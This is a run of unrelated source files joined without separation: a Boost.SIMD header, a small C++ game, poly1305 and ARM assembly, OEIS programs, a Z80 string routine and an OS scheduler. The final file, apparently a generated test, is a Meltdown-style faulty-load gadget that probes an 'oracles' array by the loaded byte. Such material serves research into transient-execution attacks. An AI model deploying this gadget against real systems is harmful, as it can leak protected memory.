DrawBitmapCP nptr offset PSCode:bitmapObject ; DrawBitmapOPtr nptr offset PSCode:bitmapObject ; DrawBitmapPtr ExportUtils ends
//============================================================================== // Copyright 2003 - 2011 LASMEA UMR 6602 CNRS/Univ. Clermont II // Copyright 2009 - 2011 LRI UMR 8623 CNRS/Univ Paris Sud XI // // Distributed under the Boost Software License, Version 1.0. // See accompanying file LICENSE.txt or copy at // http://www.boost.org/LICENSE_1_0.txt //============================================================================== #ifndef BOOST_SIMD_CONSTANT_CONSTANTS_FACT_5_HPP_INCLUDED #define BOOST_SIMD_CONSTANT_CONSTANTS_FACT_5_HPP_INCLUDED #include <boost/simd/include/functor.hpp> #include <boost/simd/constant/register.hpp> #include <boost/simd/constant/hierarchy.hpp> namespace boost { namespace simd { namespace tag { /*! @brief Fact_5 generic tag Represents the Fact_5 constant in generic contexts. @par Models: Hierarchy **/ BOOST_SIMD_CONSTANT_REGISTER( Fact_5,double , 120, 0x42f00000,0x405e000000000000ll ) } namespace ext { template<class Site> BOOST_FORCEINLINE generic_dispatcher<tag::Fact_5, Site> dispatching_Fact_5(adl_helper, boost::dispatch::meta::unknown_<Site>, ...) { return generic_dispatcher<tag::Fact_5, Site>(); } template<class... Args> struct impl_Fact_5; } /*! Generates 5!, that is 120 @par Semantic: @code T r = Fact_5<T>(); @endcode is similar to: @code T r = T(120); @endcode **/ BOOST_SIMD_CONSTANT_IMPLEMENTATION(boost::simd::tag::Fact_5, Fact_5) } } #include <boost/simd/constant/common.hpp> #endif
#include <simplecpp> #include <sstream> #include "utils.cpp" const Vector2d CENTER_OF_BOARD(550, 350); const Vector2d POCKET1_POSITION(310, 110); const Vector2d POCKET2_POSITION(790, 110); const Vector2d POCKET3_POSITION(310, 590); const Vector2d POCKET4_POSITION(790, 590); const Vector2d YES_BTN_POSITION(500, 740); const Vector2d NO_BTN_POSITION(600, 740); const double IN_POCKET_DISTANCE = sqrt(70); class Runner { constexpr static double AIM_LIMIT = 50; constexpr static double AIM_SCALE = 0.2; constexpr static double FRICTION_COEFFICIENT = 0.99; Circle circle; Vector2d ds; public: constexpr static double CIRCLE_RADIUS = 9; Runner() = default; void place(double x, double y) { circle.reset(x, y, CIRCLE_RADIUS); circle.setColor(COLOR(200, 50, 0)).setFill(); circle.show(); } Vector2d aim() { Vector2d aimPoint; Vector2d runnerPosition(circle.getX(), circle.getY()); while (true) { // create aim circles Circle c2(runnerPosition.x, runnerPosition.y, 50); c2.setColor(COLOR(255, 0, 0)); Circle c3(runnerPosition.x, runnerPosition.y, 35); c3.setColor(COLOR(255, 100, 100)); Circle c4(runnerPosition.x, runnerPosition.y, 20); c4.setColor(COLOR(255, 200, 200)); registerClick(&aimPoint); ds = Vector2d::diffOf(&aimPoint, &runnerPosition); if (ds.length() <= AIM_LIMIT) { break; } } // direction and the speed are taken from aimVector ds.mulBy(AIM_SCALE); return ds; } void bounceIfOnWall() { double x = circle.getX(); double y = circle.getY(); if (x <= 300) { ds.x = abs(ds.x); } else if (x >= 800) { ds.x = -abs(ds.x); } if (y <= 100) { ds.y = abs(ds.y); } else if (y >= 600) { ds.y = -abs(ds.y); } } void move() { circle.move(ds.x, ds.y); //friction control ds.mulBy(FRICTION_COEFFICIENT); } bool isAtRest() { return abs(ds.x) <= 0.1 && abs(ds.y) <= 0.1; } Vector2d getPosition() { return {circle.getX(), circle.getY()}; } void onFallingInPocket() { circle.setColor(COLOR(0, 0, 0)); wait(0.1); circle.hide(); } }; class Chaser { constexpr static double FRICTION_COEFFICIENT = 0.98; Circle circle; Vector2d ds; public: constexpr static double CIRCLE_RADIUS = 45; Chaser(double x, double y) { circle.reset(x, y, CIRCLE_RADIUS); circle.setColor(COLOR(50, 50, 200)).setFill(); } void setDs(const Vector2d ds) { this->ds = ds; } void bounceIfOnWall() { double x = circle.getX(); double y = circle.getY(); if (x <= 335) { ds.x = abs(ds.x); } else if (x >= 765) { ds.x = -abs(ds.x); } if (y <= 135) { ds.y = abs(ds.y); } else if (y >= 565) { ds.y = -abs(ds.y); } } void move(double speedScale = 1) { circle.move(ds.x * speedScale, ds.y * speedScale); //friction control ds.mulBy(FRICTION_COEFFICIENT); } bool isAtRest() { return abs(ds.x) <= 0.1 && abs(ds.y) <= 0.1; } Vector2d getPosition() { return {circle.getX(), circle.getY()}; } void onCatchingRunner() { circle.setColor(COLOR(255, 0, 0)).setFill(); } }; class CarromChase { constexpr static double PLACEMENT_LIMIT = 150; constexpr static double PLACEMENT_LINEANCE = 10; public: int startGame() { int score = 0; srand(time(NULL)); Runner runner; Chaser chaser(CENTER_OF_BOARD.x, CENTER_OF_BOARD.y); // single game while (true) { // place runner Vector2d currentChaserPosition = chaser.getPosition(); while (true) { double r = rand() % (int) PLACEMENT_LIMIT + 1; double theta = rand() % 360; Vector2d newRunnerPosition(r * cosine(theta) + CENTER_OF_BOARD.x, r * sine(theta) + CENTER_OF_BOARD.y); if (Vector2d::diffOf(&newRunnerPosition, &currentChaserPosition).length() > Runner::CIRCLE_RADIUS + Chaser::CIRCLE_RADIUS + PLACEMENT_LINEANCE) { runner.place(newRunnerPosition.x, newRunnerPosition.y); break; } } { Text message(550, 30, "Help little Jerry get to a hole safely."); Vector2d ds = runner.aim(); chaser.setDs(ds); } while (true) { wait(0.01); // bounce if on wall runner.bounceIfOnWall(); chaser.bounceIfOnWall(); // movement runner.move(); chaser.move(1 + score * 0.1); Vector2d runnerPosition = runner.getPosition(); Vector2d chaserPosition = chaser.getPosition(); // in pocket if (Vector2d::diffOf(&runnerPosition, &POCKET1_POSITION).length() <= IN_POCKET_DISTANCE || Vector2d::diffOf(&runnerPosition, &POCKET2_POSITION).length() <= IN_POCKET_DISTANCE || Vector2d::diffOf(&runnerPosition, &POCKET3_POSITION).length() <= IN_POCKET_DISTANCE || Vector2d::diffOf(&runnerPosition, &POCKET4_POSITION).length() <= IN_POCKET_DISTANCE) { runner.onFallingInPocket(); score++; break; } // both at rest if (runner.isAtRest() && chaser.isAtRest()) { Text message(550, 30, "Alas! Jerry has not escaped!"); wait(1.5); return score; } // caught by chaser if (Vector2d::diffOf(&runnerPosition, &chaserPosition).length() <= 60) { chaser.onCatchingRunner(); Text message(550, 30, "Alas! Tom caught Jerry!"); wait(1.5); return score; } } } } }; int main() { initCanvas("Tom and Jerry", 1100, 800); // board Rectangle r2(550, 350, 570, 570); r2.setColor(COLOR(153, 76, 0)).setFill(); Rectangle r1(550, 350, 520, 520); r1.setColor(COLOR(255, 255, 153)).setFill(); // side rectangles Rectangle r3(550, 145, 350, 20); Rectangle r4(550, 555, 350, 20); Rectangle r5(345, 350, 20, 350); Rectangle r6(755, 350, 20, 350); /* Line l1(375, 134, 725, 134); */ /* Line l2(375, 566, 725, 566); */ /* Line l3(334, 175, 334, 525); */ /* Line l4(766, 175, 766, 525); */ // pockets Circle c5(790, 110, 15); c5.setColor(COLOR(255, 255, 255)).setFill(); Circle c50(790, 110, 15); Circle c6(310, 110, 15); c6.setColor(COLOR(255, 255, 255)).setFill(); Circle c60(310, 110, 15); Circle c7(790, 590, 15); c7.setColor(COLOR(255, 255, 255)).setFill(); Circle c70(790, 590, 15); Circle c8(310, 590, 15); c8.setColor(COLOR(255, 255, 255)).setFill(); Circle c80(310, 590, 15); // connecting circles Circle conn1(360, 540, 15 * 1 / sqrt(2)); Circle conn2(740, 540, 15 * 1 / sqrt(2)); Circle conn3(740, 160, 15 * 1 / sqrt(2)); Circle conn4(360, 160, 15 * 1 / sqrt(2)); // red dots /* Circle ca1(345, 175, 11); */ /* ca1.setFill(); */ /* Circle ca10(345, 175, 7); */ /* ca10.setColor(COLOR(255, 0, 0)).setFill(); */ /* Circle ca2(345, 525, 11); */ /* ca2.setFill(); */ /* Circle ca20(345, 525, 7); */ /* ca20.setColor(COLOR(255, 0, 0)).setFill(); */ /* Circle ca3(755, 175, 11); */ /* ca3.setFill(); */ /* Circle ca30(755, 175, 7); */ /* ca30.setColor(COLOR(255, 0, 0)).setFill(); */ /* Circle ca4(755, 525, 11); */ /* ca4.setFill(); */ /* Circle ca40(755, 525, 7); */ /* ca40.setColor(COLOR(255, 0, 0)).setFill(); */ /* Circle ca5(375, 145, 11); */ /* ca5.setFill(); */ /* Circle ca50(375, 145, 7); */ /* ca50.setColor(COLOR(255, 0, 0)).setFill(); */ /* Circle ca6(725, 145, 11); */ /* ca6.setFill(); */ /* Circle ca60(725, 145, 7); */ /* ca60.setColor(COLOR(255, 0, 0)).setFill(); */ /* Circle ca7(375, 555, 11); */ /* ca7.setFill(); */ /* Circle ca70(375, 555, 7); */ /* ca70.setColor(COLOR(255, 0, 0)).setFill(); */ /* Circle ca8(725, 555, 11); */ /* ca8.setFill(); */ /* Circle ca80(725, 555, 7); */ /* ca80.setColor(COLOR(255, 0, 0)).setFill(); */ // mid circles /* Circle couter_mid_circle(550, 350, 75); */ /* Circle cinnerred(550, 350, 70); */ /* cinnerred.setColor(COLOR(255, 0, 0)); */ /* cinnerred.setFill(); */ /* Circle cinnercream(550, 350, 60); */ /* cinnercream.setColor(COLOR(255, 255, 153)); */ /* cinnercream.setFill(); */ // spikes /* Line k1(550, 300, 550, 400); */ /* Line k2(500, 350, 600, 350); */ /* Line k3(550 - 50 / sqrt(2), 350 - 50 / sqrt(2), 550 + 50 / sqrt(2), 350 + 50 / sqrt(2)); */ /* Line k4(550 + 50 / sqrt(2), 350 - 50 / sqrt(2), 550 - 50 / sqrt(2), 350 + 50 / sqrt(2)); */ // spike side /* Line k001(550 - 50, 350, 550 + 14 * cos(7 * PI / 8), 350 + 14 * sin(7 * PI / 8)); */ /* Line k002(550 - 50, 350, 550 + 14 * cos(9 * PI / 8), 350 + 14 * sin(9 * PI / 8)); */ /* Line k003(550 - 50 / sqrt(2), 350 - 50 / sqrt(2), 550 + 14 * cos(9 * PI / 8), 350 + 14 * sin(9 * PI / 8)); */ /* Line k004(550 - 50 / sqrt(2), 350 - 50 / sqrt(2), 550 + 14 * cos(11 * PI / 8), 350 + 14 * sin(11 * PI / 8)); */ /* Line k005(550, 350 - 50, 550 + 14 * cos(11 * PI / 8), 350 + 14 * sin(11 * PI / 8)); */ /* Line k006(550, 350 - 50, 550 + 14 * cos(13 * PI / 8), 350 + 14 * sin(13 * PI / 8)); */ /* Line k007(550 + 50 / sqrt(2), 350 - 50 / sqrt(2), 550 + 14 * cos(13 * PI / 8), 350 + 14 * sin(13 * PI / 8)); */ /* Line k008(550 + 50 / sqrt(2), 350 - 50 / sqrt(2), 550 + 14 * cos(15 * PI / 8), 350 + 14 * sin(15 * PI / 8)); */ /* Line k009(550 + 50, 350, 550 + 14 * cos(15 * PI / 8), 350 + 14 * sin(15 * PI / 8)); */ /* Line k010(550 + 50, 350, 550 + 14 * cos(PI / 8), 350 + 14 * sin(PI / 8)); */ /* Line k011(550 + 50 / sqrt(2), 350 + 50 / sqrt(2), 550 + 14 * cos(PI / 8), 350 + 14 * sin(PI / 8)); */ /* Line k012(550 + 50 / sqrt(2), 350 + 50 / sqrt(2), 550 + 14 * cos(3 * PI / 8), 350 + 14 * sin(3 * PI / 8)); */ /* Line k013(550, 350 + 50, 550 + 14 * cos(3 * PI / 8), 350 + 14 * sin(3 * PI / 8)); */ /* Line k014(550, 350 + 50, 550 + 14 * cos(5 * PI / 8), 350 + 14 * sin(5 * PI / 8)); */ /* Line k015(550 - 50 / sqrt(2), 350 + 50 / sqrt(2), 550 + 14 * cos(5 * PI / 8), 350 + 14 * sin(5 * PI / 8)); */ /* Line k016(550 - 50 / sqrt(2), 350 + 50 / sqrt(2), 550 + 14 * cos(7 * PI / 8), 350 + 14 * sin(7 * PI / 8)); */ // central circles /* Circle cenblack_outline(550, 350, 10); */ /* Circle cen_outer_black(550, 350, 14); */ /* Circle cenred(550, 350, 9); */ /* cenred.setColor(COLOR(255, 0, 0)).setFill(); */ /* Circle cblack_outline2(550, 350, 70); */ /* Circle cblack_outline3(550, 350, 60); */ // sidelines /* Line s1(550 + 70, 350 - 70, 670 + 100, 230 - 100); */ /* Line s2(550 - 70, 350 - 70, 430 - 100, 230 - 100); */ /* Line s3(550 - 70, 350 + 70, 430 - 100, 470 + 100); */ /* Line s4(550 + 70, 350 + 70, 670 + 100, 470 + 100); */ CarromChase carromChase; while (true) { int score = carromChase.startGame(); // output score and ask for another game ostringstream oss; oss << "Your score is = " << score << ". " << "Do you want to play another game?"; Text message(550, 680, oss.str()); // yes no buttons Circle yesBtn(YES_BTN_POSITION.x, YES_BTN_POSITION.y, 30); yesBtn.setColor(COLOR(0, 255, 0)).setFill(); Text yesBtnText(YES_BTN_POSITION.x, YES_BTN_POSITION.y, "Yes"); Circle noBtn(NO_BTN_POSITION.x, NO_BTN_POSITION.y, 30); noBtn.setColor(COLOR(255, 0, 0)).setFill(); Text noBtnText(NO_BTN_POSITION.x, NO_BTN_POSITION.y, "No"); while (true) { Vector2d click; registerClick(&click); if (Vector2d::diffOf(&click, &YES_BTN_POSITION).length() <= 20) { break; } if (Vector2d::diffOf(&click, &NO_BTN_POSITION).length() <= 20) { return 0; } } } }
SECTION .text GLOBAL square_poly1305 square_poly1305: sub rsp, 0x30 ; last 0x30 (6) for Caller - save regs mov [ rsp + 0x0 ], rbx; saving to stack mov [ rsp + 0x8 ], rbp; saving to stack mov [ rsp + 0x10 ], r12; saving to stack mov [ rsp + 0x18 ], r13; saving to stack mov [ rsp + 0x20 ], r14; saving to stack mov [ rsp + 0x28 ], r15; saving to stack imul rax, [ rsi + 0x10 ], 0x5; x1 <- arg1[2] * 0x5 imul r10, rax, 0x2; x2 <- x1 * 0x2 mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx mulx r11, rbx, [ rsi + 0x0 ]; x16, x15<- arg1[0] * arg1[0] imul r10, r10, 0x2; x10000 <- x2 * 0x2 mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx mulx r10, rbp, r10; x8, x7<- arg1[1] * x10000 xor r12, r12 adox rbp, rbx adox r11, r10 mov rdx, [ rsi + 0x10 ]; arg1[2] to rdx mulx rax, r13, rax; x6, x5<- arg1[2] * x1 mov r14, 0xfffffffffff ; moving imm to reg mov r15, rbp; x22, copying x17 here, cause x17 is needed in a reg for other than x22, namely all: , x21, x22, size: 2 and r15, r14; x22 <- x17&0xfffffffffff imul rdx, [ rsi + 0x8 ], 0x2; x4 <- arg1[1] * 0x2 mulx rdx, rcx, [ rsi + 0x0 ]; x14, x13<- arg1[0] * x4 shrd rbp, r11, 44; x21 <- x19||x17 >> 44 xor r8, r8 adox r13, rcx adox rdx, rax adcx r13, rbp adc rdx, 0x0 imul r12, [ rsi + 0x8 ], 0x2; x10001 <- arg1[1] * 0x2 mov r9, r13; x34, copying x31 here, cause x31 is needed in a reg for other than x34, namely all: , x34, x35, size: 2 shrd r9, rdx, 43; x34 <- x33||x31 >> 43 imul rbx, [ rsi + 0x10 ], 0x2; x3 <- arg1[2] * 0x2 mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx mulx r12, r10, r12; x10, x9<- arg1[1] * x10001 mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx mulx rbx, r11, rbx; x12, x11<- arg1[0] * x3 xor rdx, rdx adox r10, r11 adox rbx, r12 adcx r10, r9 adc rbx, 0x0 mov r8, r10; x39, copying x36 here, cause x36 is needed in a reg for other than x39, namely all: , x39, x40, size: 2 shrd r8, rbx, 43; x39 <- x38||x36 >> 43 imul r8, r8, 0x5; x41 <- x39 * 0x5 mov rax, 0x7ffffffffff ; moving imm to reg and r13, rax; x35 <- x31&0x7ffffffffff lea r15, [ r15 + r8 ] mov rcx, r15; x44, copying x42 here, cause x42 is needed in a reg for other than x44, namely all: , x44, x43, size: 2 and rcx, r14; x44 <- x42&0xfffffffffff shr r15, 44; x43 <- x42>> 44 lea r15, [ r15 + r13 ] mov rbp, r15; x47, copying x45 here, cause x45 is needed in a reg for other than x47, namely all: , x47, x46, size: 2 and rbp, rax; x47 <- x45&0x7ffffffffff shr r15, 43; x46 <- x45>> 43 and r10, rax; x40 <- x36&0x7ffffffffff mov [ rdi + 0x8 ], rbp; out1[1] = x47 lea r15, [ r15 + r10 ] mov [ rdi + 0x0 ], rcx; out1[0] = x44 mov [ rdi + 0x10 ], r15; out1[2] = x48 mov rbx, [ rsp + 0x0 ]; restoring from stack mov rbp, [ rsp + 0x8 ]; restoring from stack mov r12, [ rsp + 0x10 ]; restoring from stack mov r13, [ rsp + 0x18 ]; restoring from stack mov r14, [ rsp + 0x20 ]; restoring from stack mov r15, [ rsp + 0x28 ]; restoring from stack add rsp, 0x30 ret ; cpu Intel(R) Core(TM) i7-10710U CPU @ 1.10GHz ; clocked at 1600 MHz ; first cyclecount 15.38, best 10.657863145258103, lastGood 10.66546329723225 ; seed 2040113663254706 ; CC / CFLAGS clang / -march=native -mtune=native -O3 ; time needed: 15590 ms / 500 runs=> 31.18ms/run ; Time spent for assembling and measureing (initial batch_size=833, initial num_batches=101): 13489 ms ; Ratio (time for assembling + measure)/(total runtime for 500runs): 0.8652341244387428 ; number reverted permutation/ tried permutation: 221 / 270 =81.852% ; number reverted decision/ tried decision: 169 / 231 =73.160%
// Implementation of synchronization functions for ARM architecture // // Copyright (c) 2012-2015, ARM Limited. All rights reserved. // Copyright (c) 2015, Linaro Limited. All rights reserved. // // This program and the accompanying materials // are licensed and made available under the terms and conditions of the BSD License // which accompanies this distribution. The full text of the license may be found at // http://opensource.org/licenses/bsd-license.php // // THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, // WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. // // EXPORT InternalSyncCompareExchange16 EXPORT InternalSyncCompareExchange32 EXPORT InternalSyncCompareExchange64 EXPORT InternalSyncIncrement EXPORT InternalSyncDecrement AREA ArmSynchronization, CODE, READONLY /** Performs an atomic compare exchange operation on a 16-bit unsigned integer. Performs an atomic compare exchange operation on the 16-bit unsigned integer specified by Value. If Value is equal to CompareValue, then Value is set to ExchangeValue and CompareValue is returned. If Value is not equal to CompareValue, then Value is returned. The compare exchange operation must be performed using MP safe mechanisms. @param Value A pointer to the 16-bit value for the compare exchange operation. @param CompareValue 16-bit value used in compare operation. @param ExchangeValue 16-bit value used in exchange operation. @return The original *Value before exchange. **/ //UINT16 //EFIAPI //InternalSyncCompareExchange16 ( // IN volatile UINT16 *Value, // IN UINT16 CompareValue, // IN UINT16 ExchangeValue // ) InternalSyncCompareExchange16 dmb InternalSyncCompareExchange16Again ldrexh r3, [r0] cmp r3, r1 bne InternalSyncCompareExchange16Fail InternalSyncCompareExchange16Exchange strexh ip, r2, [r0] cmp ip, #0 bne InternalSyncCompareExchange16Again InternalSyncCompareExchange16Fail dmb mov r0, r3 bx lr /** Performs an atomic compare exchange operation on a 32-bit unsigned integer. Performs an atomic compare exchange operation on the 32-bit unsigned integer specified by Value. If Value is equal to CompareValue, then Value is set to ExchangeValue and CompareValue is returned. If Value is not equal to CompareValue, then Value is returned. The compare exchange operation must be performed using MP safe mechanisms. @param Value A pointer to the 32-bit value for the compare exchange operation. @param CompareValue 32-bit value used in compare operation. @param ExchangeValue 32-bit value used in exchange operation. @return The original *Value before exchange. **/ //UINT32 //EFIAPI //InternalSyncCompareExchange32 ( // IN volatile UINT32 *Value, // IN UINT32 CompareValue, // IN UINT32 ExchangeValue // ) InternalSyncCompareExchange32 dmb InternalSyncCompareExchange32Again ldrex r3, [r0] cmp r3, r1 bne InternalSyncCompareExchange32Fail InternalSyncCompareExchange32Exchange strex ip, r2, [r0] cmp ip, #0 bne InternalSyncCompareExchange32Again InternalSyncCompareExchange32Fail dmb mov r0, r3 bx lr /** Performs an atomic compare exchange operation on a 64-bit unsigned integer. Performs an atomic compare exchange operation on the 64-bit unsigned integer specified by Value. If Value is equal to CompareValue, then Value is set to ExchangeValue and CompareValue is returned. If Value is not equal to CompareValue, then Value is returned. The compare exchange operation must be performed using MP safe mechanisms. @param Value A pointer to the 64-bit value for the compare exchange operation. @param CompareValue 64-bit value used in compare operation. @param ExchangeValue 64-bit value used in exchange operation. @return The original *Value before exchange. **/ //UINT64 //EFIAPI //InternalSyncCompareExchange64 ( // IN volatile UINT64 *Value, // r0 // IN UINT64 CompareValue, // r2-r3 // IN UINT64 ExchangeValue // stack // ) InternalSyncCompareExchange64 push { r4-r7 } ldrd r4, r5, [sp, #16] dmb InternalSyncCompareExchange64Again ldrexd r6, r7, [r0] cmp r6, r2 cmpeq r7, r3 bne InternalSyncCompareExchange64Fail InternalSyncCompareExchange64Exchange strexd ip, r4, r5, [r0] cmp ip, #0 bne InternalSyncCompareExchange64Again InternalSyncCompareExchange64Fail dmb mov r0, r6 mov r1, r7 pop { r4-r7 } bx lr /** Performs an atomic increment of an 32-bit unsigned integer. Performs an atomic increment of the 32-bit unsigned integer specified by Value and returns the incremented value. The increment operation must be performed using MP safe mechanisms. The state of the return value is not guaranteed to be MP safe. @param Value A pointer to the 32-bit value to increment. @return The incremented value. **/ //UINT32 //EFIAPI //InternalSyncIncrement ( // IN volatile UINT32 *Value // ) InternalSyncIncrement dmb TryInternalSyncIncrement ldrex r1, [r0] add r1, r1, #1 strex r2, r1, [r0] cmp r2, #0 bne TryInternalSyncIncrement dmb mov r0, r1 bx lr /** Performs an atomic decrement of an 32-bit unsigned integer. Performs an atomic decrement of the 32-bit unsigned integer specified by Value and returns the decrement value. The decrement operation must be performed using MP safe mechanisms. The state of the return value is not guaranteed to be MP safe. @param Value A pointer to the 32-bit value to decrement. @return The decrement value. **/ //UINT32 //EFIAPI //InternalSyncDecrement ( // IN volatile UINT32 *Value // ) InternalSyncDecrement dmb TryInternalSyncDecrement ldrex r1, [r0] sub r1, r1, #1 strex r2, r1, [r0] cmp r2, #0 bne TryInternalSyncDecrement dmb mov r0, r1 bx lr END
; A315728: Coordination sequence Gal.6.342.6 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by Simon Strandgaard ; 1,6,12,18,22,26,32,36,40,46,52,58,64,70,76,80,84,90,94,98,104,110,116,122,128,134,138,142,148,152,156,162,168,174,180,186,192,196,200,206,210,214,220,226,232,238,244,250,254,258 mov $1,$0 seq $1,311523 ; Coordination sequence Gal.6.119.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. mov $2,$0 mul $0,10 sub $0,1 mod $0,$1 add $0,1 mov $3,$2 mul $3,4 add $0,$3
; =============================================================== ; Dec 2013 ; =============================================================== ; ; int strncasecmp(const char *s1, const char *s2, size_t n) ; ; Perform caseless compare of string s1 to string s2, examining ; no more than n chars. Return when the first differing char is ; found with *s1 - *s2. ; ; =============================================================== INCLUDE "config_private.inc" SECTION code_clib SECTION code_string PUBLIC asm_strncasecmp EXTERN asm_tolower asm_strncasecmp: ; enter : hl = char *s2 ; de = char *s1 ; bc = size_t n ; ; exit : a = h = *s1-*s2 of first differing caseless char ; de = ptr in s1 to byte after last char compared or NUL ; ; if s1==s2 : hl=0, nc+z flags set ; if s1<<s2 : hl<0, c+nz flags set ; if s1>>s2 : hl>0, nc+nz flag set ; ; uses : af, bc, de, hl, ixl loop: ld a,b or c jr z, equal ld a,(hl) call asm_tolower IF __CPU_Z180__ | __CPU_R2K__ | __CPU_R3K__ | __CPU_INTEL__ push hl ld l,a ld a,(de) call asm_tolower cp l jr nz, different pop hl ELSE ld ixl,a ; ixl = *s2 ld a,(de) call asm_tolower cp ixl ; *s1 - *s2 jr nz, different ENDIF inc de inc hl dec bc or a ; end of string? jr nz, loop dec de equal: ; both strings ended same time ld l,a ld h,a ret different: IF __CPU_Z180__ | __CPU_R2K__ | __CPU_R3K__ | __CPU_INTEL__ sub l pop hl ELSE sub ixl ENDIF ld h,a ret
; A227109: Numerators of harmonic mean H(n, 5), n >= 0. ; 0,5,20,15,40,5,60,35,80,45,20,55,120,65,140,15,160,85,180,95,8,105,220,115,240,25,260,135,280,145,60,155,320,165,340,35,360,185,380,195,80,205,420,215,440,9,460,235,480,245,100,255,520,265,540,55,560 mov $1,5 add $1,$0 mul $0,10 gcd $1,$0 div $0,$1
; sheduling.asm ; Platform dependent helper functions for sheduling and multitasking ; ; +8 +12 +16 ; void enter_usermode(registers_t* reg, unsigned int location, unsigned int userstack); global thread_enterUsermode thread_enterUsermode: push ebp mov ebp,esp pusha pushf mov eax, cr3 push eax mov eax, [ebp+8] cmp eax, 0 je .usermode mov [eax+4], ebx mov [eax+8], ecx mov [eax+12], edx mov [eax+16], esi mov [eax+20], edi ; EAX mov ebx, [esp+36] mov [eax], ebx ; ESP, We want the SP to be pointing at the end of the caller frame mov ebx, ebp add ebx, 8 ; point to last argument passed to enter_usermode mov [eax+24], ebx ; EBP, we want to point to the callers EBP. (The value of current ebp) mov ebx, [ebp] mov [eax+28], ebx ; EIP where we want to "land" when we get back. mov ebx, [ebp+4] mov [eax+32], ebx ; EFLAGS mov ebx, [esp+4] mov [eax+36], ebx ; CR3 pop ebx mov [eax+40], ebx ; ----- Done saving state ; Now on to the important bits .usermode: mov esp, [ebp+16] ; Set the new stack for the new application to be used ; from here on now mov ax, 0x23 ; User mode data selector is 0x20 (GDT entry 3). Also sets RPL to 3 (so 0x23) mov ds, ax mov es, ax mov fs, ax mov gs, ax mov eax, esp push 0x23 ; SS, notice it uses same selector as above push eax ; ESP pushfd ; EFLAGS (note pushfd is 32bit, pushf is 64bit "safe") ; Lets "fix" some flags pop eax or eax, 0x200 ; enable IF in EFLAGS push eax push 0x1b ; CS, user mode code selector is 0x18. With RPL 3 this is 0x1b ; Lets push our new entry point to be used when it "returns" when performing the iret push dword [ebp+12] ;note 32 bit address size "hardcoded" ;Call the EOI so timer dont stop push eax mov eax, 0x20 out 0x20, eax pop eax iret global tss_flush tss_flush: push ebp mov ebp,esp cli mov eax, [ebp+8] ltr ax sti mov esp, ebp pop ebp ret ; http://wiki.osdev.org/Kernel_Multitasking global scheduler_switchThread scheduler_switchThread: pusha pushf mov eax, cr3 ;Push CR3 push eax mov eax, [esp+44] ;The first argument, where to save mov [eax+4], ebx mov [eax+8], ecx mov [eax+12], edx mov [eax+16], esi mov [eax+20], edi mov ebx, [esp+36] ;EAX mov ecx, [esp+40] ;EIP mov edx, [esp+20] ;ESP add edx, 4 ;Remove the return value mov esi, [esp+16] ;EBP mov edi, [esp+4];EFLAGS mov [eax], ebx mov [eax+24], edx mov [eax+28], esi mov [eax+32], ecx mov [eax+36], edi pop ebx ;CR3 mov [eax+40], ebx push ebx mov eax, [esp+48] ;Now it is the new object mov ebx, [eax+4] mov ecx, [eax+8] mov edx, [eax+12] mov esi, [eax+16] mov edi, [eax+20] mov ebp, [eax+28] push eax mov eax, [eax+36] ;EFLAGS push eax popf pop eax mov esp, [eax+24] ;ESP push eax mov eax, [eax+40] ;CR3 ;xchg bx, bx ; BOCHS Magic debugger mov cr3, eax ; Set CR3 to provided pagedir ; BOOM! pop eax push eax mov eax, [eax+32] ;EIP xchg eax, [esp] ;We do not have any more registers to use as tmp storage mov eax, [eax] ;EAX ;Call the EOI so timer dont stop ; #define PIC1_CREG 0x20 ; pio_outb(0x20, PIC1_CREG); push eax mov eax, 0x20 out 0x20, eax pop eax ret ;This ends all! global scheduler_startIdle scheduler_startIdle: mov eax, [esp+4] mov ebx, [esp+8] mov esp, ebx push eax ret
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %rax push %rbp push %rbx push %rcx push %rsi // Load lea addresses_D+0x6c60, %rcx nop inc %rbx mov (%rcx), %r14 add %rcx, %rcx // Load lea addresses_PSE+0x13340, %rax nop cmp %rbp, %rbp movntdqa (%rax), %xmm2 vpextrq $0, %xmm2, %r10 nop nop nop add $12229, %rax // Store lea addresses_WT+0x16820, %r14 sub %rsi, %rsi mov $0x5152535455565758, %rbp movq %rbp, %xmm3 vmovups %ymm3, (%r14) nop nop xor %rbp, %rbp // Faulty Load lea addresses_WC+0x61f0, %rcx nop nop nop nop add $48128, %r14 mov (%rcx), %eax lea oracles, %r14 and $0xff, %rax shlq $12, %rax mov (%r14,%rax,1), %rax pop %rsi pop %rcx pop %rbx pop %rbp pop %rax pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 2}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 4}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} <gen_prepare_buffer> {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 